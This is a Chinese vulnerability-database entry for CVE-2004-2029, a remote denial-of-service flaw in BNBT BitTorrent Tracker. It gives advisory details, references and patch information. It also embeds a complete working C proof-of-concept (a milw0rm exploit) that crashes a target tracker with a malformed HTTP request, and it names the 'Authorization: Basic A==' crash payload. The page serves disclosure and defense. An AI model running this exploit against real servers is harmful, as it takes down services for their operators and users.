CVE-2004-2029
CVSS5.0
发布时间 :2004-05-22 00:00:00
修订时间 :2016-10-17 23:05:07
NMCOE    

[原文]The Util_DecodeHTTPAuth function in BNBT BitTorrent Tracker Beta 7.5 Release 2 and earlier allows remote attackers to cause a denial of service (crash) via a Basic Authorization HTTP request with a "A==" value.


[CNNVD]BNBT BitTorrent Tracker远程拒绝服务漏洞(CNNVD-200405-058)

        
        BNBT BitTorrent Tracker是一款BT下载服务程序。
        BNBT BitTorrent Tracker对'Authorization: Basic'请求处理不正确,远程攻击者可以利用这个漏洞对BNBT服务器进行拒绝服务攻击。
        提交包含'Authorization: Basic A=='的特殊HTTP GET请求可导致BNBT服务器崩溃,问题存在于util.cpp文件的Util_DecodeHTTPAuth函数中。
        

- CVSS (基础分值)

CVSS分值: 5 [中等(MEDIUM)]
机密性影响: [--]
完整性影响: [--]
可用性影响: [--]
攻击复杂度: [--]
攻击向量: [--]
身份认证: [--]

- CPE (受影响的平台与产品)

产品及版本信息(CPE)暂不可用

- OVAL (用于检测的技术细节)

未找到相关OVAL定义

- 官方数据库链接

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-2029
(官方数据源) MITRE
http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2004-2029
(官方数据源) NVD
http://www.cnnvd.org.cn/vulnerability/show/cv_cnnvdid/CNNVD-200405-058
(官方数据源) CNNVD

- 其它链接及资源

http://fux0r.phathookups.com/advisory/sp-x12-advisory.txt
(VENDOR_ADVISORY)  MISC  http://fux0r.phathookups.com/advisory/sp-x12-advisory.txt
http://marc.info/?l=bugtraq&m=108526361421535&w=2
(UNKNOWN)  BUGTRAQ  20040522 BNBT BitTorrent Tracker Denial Of Service
http://securitytracker.com/id?1010254
(UNKNOWN)  SECTRACK  1010254
http://www.securityfocus.com/bid/10399
(VENDOR_ADVISORY)  BID  10399
http://xforce.iss.net/xforce/xfdb/16228
(VENDOR_ADVISORY)  XF  bittorrent-http-get-dos(16228)

- 漏洞信息

BNBT BitTorrent Tracker远程拒绝服务漏洞
中危 未知
2004-05-22 00:00:00 2005-10-20 00:00:00
远程  
        
        BNBT BitTorrent Tracker是一款BT下载服务程序。
        BNBT BitTorrent Tracker对'Authorization: Basic'请求处理不正确,远程攻击者可以利用这个漏洞对BNBT服务器进行拒绝服务攻击。
        提交包含'Authorization: Basic A=='的特殊HTTP GET请求可导致BNBT服务器崩溃,问题存在于util.cpp文件的Util_DecodeHTTPAuth函数中。
        

- 公告与补丁

        厂商补丁:
        Trevor Hogan
        ------------
        目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载:
        
        http://bnbt.go-dedicated.com/bnbt75b-3.zip

- 漏洞信息 (1199)

BNBT BitTorrent EasyTracker <= 7.7r3 Denial of Service Exploit (EDBID:1199)
windows dos
2005-09-06 Verified
0 sowhat
N/A [点击下载]
/* BNBT BitTorrent EasyTracker Remote Denial Of Service
   
   Versions:
   Version 7.7r3.2004.10.27 and below
  
   Vendors:
   http://bnbt.go-dedicated.com/
   http://bnbteasytracker.sourceforge.net/
   http://sourceforge.net/projects/bnbtusermods/

   Bug find and coded by:
   Sowhat@@secway@org
   http://secway.org

   This PoC will Crash the server.
 */

#include <winsock2.h>
#include <stdio.h>

#pragma comment(lib, "ws2_32.lib")

char exploit[] = 

"GET /index.htm HTTP/1.0\r\n:\r\n\r\n";

int main(int argc, char *argv[])
{
	WSADATA wsaData;
	WORD wVersionRequested;
	struct hostent  *pTarget;
	struct sockaddr_in 	sock;
	char *target;
	int port,bufsize;
	SOCKET mysocket;
	
	if (argc < 2)
	{
		printf(" ######################################################################\r\n");
		printf(" #   BNBT BitTorrent EasyTracker DoS by sowhat <sowhat@@secway@org>   #\r\n", argv[0]);
		printf(" #          This exploit will Crash the Server                        #\r\n");
		printf(" #               http://www.secway.org                                #\r\n");		
		printf(" ######################################################################\r\n");
		printf(" Usage:\r\n %s <targetip> [targetport] (default is 6969)	\r\n", argv[0]);
		printf(" Example:\r\n");
		printf("	%s 1.1.1.1\r\n",argv[0]);
		printf("	%s 1.1.1.1 8888\r\n",argv[0]);
		exit(1);
	}

	wVersionRequested = MAKEWORD(1, 1);
	if (WSAStartup(wVersionRequested, &wsaData) < 0) return -1;

	target = argv[1];
	port = 6969;

	if (argc >= 3) port = atoi(argv[2]);
	bufsize = 1024;
	if (argc >= 4) bufsize = atoi(argv[3]);

	mysocket = socket(AF_INET, SOCK_STREAM, 0);
	if(mysocket==INVALID_SOCKET)
	{	
		printf("Socket error!\r\n");
		exit(1);
	}

	printf("Resolving Hostnames...\n");
	if ((pTarget = gethostbyname(target)) == NULL)
	{
		printf("Resolve of %s failed\n", argv[1]);
		exit(1);
	}

	memcpy(&sock.sin_addr.s_addr, pTarget->h_addr, pTarget->h_length);
	sock.sin_family = AF_INET;
	sock.sin_port = htons((USHORT)port);

	printf("Connecting...\n");
	if ( (connect(mysocket, (struct sockaddr *)&sock, sizeof (sock) )))
	{
		printf("Couldn't connect to host.\n");
		exit(1);
	}

	printf("Connected!...\n");
	printf("Sending Payload...\n");
	if (send(mysocket, exploit, sizeof(exploit)-1, 0) == -1)
	{
		printf("Error Sending the Exploit Payload\r\n");
		closesocket(mysocket);
		exit(1);
	}

	printf("Payload has been sent! Check if the webserver is dead.\r\n");
	closesocket(mysocket);
	WSACleanup();
	return 0;
}

// milw0rm.com [2005-09-06]
		

- 漏洞信息

6336
BNBT Authorization Header DoS
Remote / Network Access Denial of Service, Input Manipulation
Loss of Availability
Exploit Public Vendor Verified

- 漏洞描述

BNBT contains a flaw that may allow a remote denial of service. The issue is triggered when a specially crafted HTTP GET request is received, and will result in loss of availability for the service.

- 时间线

2004-05-21 2004-05-21
2004-05-21 Unknow

- 解决方案

Upgrade to version Beta 7.5 Release 3 or higher, as it has been reported to fix this vulnerability. An upgrade is required as there are no known workarounds.

- 相关参考

- 漏洞作者

 

 

关于SCAP中文社区

SCAP中文社区是国内第一个以SCAP为主题的中文开放社区。了解更多信息,请查阅[关于本站]

版权声明

CVE/CWE/OVAL均为MITRE公司的注册商标,它们的官方数据源均保存在MITRE公司的相关网站